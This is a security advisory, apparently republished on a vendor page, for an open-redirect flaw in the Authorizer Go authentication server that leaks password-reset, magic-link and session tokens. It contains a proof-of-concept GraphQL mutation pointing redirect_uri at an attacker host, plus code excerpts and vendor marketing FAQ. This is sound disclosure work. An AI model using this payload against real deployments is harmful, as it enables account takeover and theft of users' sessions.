Summary
Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri
Full technical description
Hi,
I found that 6 endpoints in Authorizer accept a user-controlled redirect_uri and append sensitive tokens to it without validating the URL against AllowedOrigins. The OAuth /app handler validates redirect_uri at http_handlers/app.go:46, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).
Affected Endpoints
- ForgotPassword (
internal/graphql/forgot_password.go:76-77) - password reset tokens - MagicLinkLogin (
internal/graphql/magic_link_login.go:150-151) - magic link auth tokens - Signup (
internal/graphql/signup.go:211-212) - email verification tokens - InviteMembers (
internal/graphql/invite_members.go:90-91) - invitation tokens - OAuthLoginHandler (
internal/http_handlers/oauth_login.go:18-20) - OAuth redirect stored in state - VerifyEmailHandler (
internal/http_handlers/verify_email.go:27,178) - full auth tokens (access + id + refresh)
Root Cause
Because these 6 endpoints completely lack the validators.IsValidOrigin() check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures AllowedOrigins to ["https://my-secure-app.com"], an attacker can still steal tokens by passing https://attacker.com to these specific GraphQL mutations. The validation only exists in the /app OAuth handler, not in any of the GraphQL mutations.
In forgot_password.go:76-77, the user-supplied redirect_uri is accepted without validation:
if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != "" {
redirectURI = refs.StringValue(params.RedirectURI)
}
The reset token is appended to this URL at internal/utils/common.go:77:
func GetForgotPasswordURL(token, redirectURI string) string {
verificationURL := redirectURI + "?token=" + token
return verificationURL
}
Compare with the OAuth flow at internal/http_handlers/app.go:46 which validates correctly:
if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
c.JSON(400, gin.H{"error": "invalid redirect url"})
return
}
This validation is missing from all 6 endpoints listed above.
Most Severe Path: Full Token Theft via verify_email
After a user clicks the verification link, verify_email.go:178 generates full auth tokens and redirects to the (unvalidated) URL:
params := "access_token=" + authToken.AccessToken.Token +
"&token_type=bearer&expires_in=" + ... +
"&id_token=" + authToken.IDToken.Token + "&nonce=" + nonce
The redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly.
Because tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the Referer header.
PoC
mutation {
forgot_password(params: {
email: "[email protected]"
redirect_uri: "https://attacker.com/steal"
}) {
message
}
}
The victim receives a legitimate password reset email with the link https://attacker.com/steal?token=<reset_token>. Clicking the link sends the reset token to the attacker.
Additional Note
The default AllowedOrigins at cmd/root.go:39 is ["*"], so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration.
Koda Reef
Impact
- Account takeover via stolen password reset tokens
- Full session theft via stolen access_token + id_token + refresh_token
- Passwordless account compromise via stolen magic link tokens
- No authentication required to trigger (the GraphQL mutations are public)
- Victim only needs to click the email link from their trusted Authorizer instance
Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites. Typical impact: phishing and credential harvesting via a trusted domain.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-X3F4-V83F-7WP2? GHSA-X3F4-V83F-7WP2 is a high-severity open redirect vulnerability in github.com/authorizerdev/authorizer (go), affecting versions < 0.0.0-20260329085140-6d9bef1aaba3. It is fixed in 0.0.0-20260329085140-6d9bef1aaba3. Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites.
- Which versions of github.com/authorizerdev/authorizer are affected by GHSA-X3F4-V83F-7WP2? github.com/authorizerdev/authorizer (go) versions < 0.0.0-20260329085140-6d9bef1aaba3 is affected.
- Is there a fix for GHSA-X3F4-V83F-7WP2? Yes. GHSA-X3F4-V83F-7WP2 is fixed in 0.0.0-20260329085140-6d9bef1aaba3. Upgrade to this version or later.
- Is GHSA-X3F4-V83F-7WP2 exploitable, and should I be worried? Whether GHSA-X3F4-V83F-7WP2 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-X3F4-V83F-7WP2 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-X3F4-V83F-7WP2? Upgrade
github.com/authorizerdev/authorizerto 0.0.0-20260329085140-6d9bef1aaba3 or later.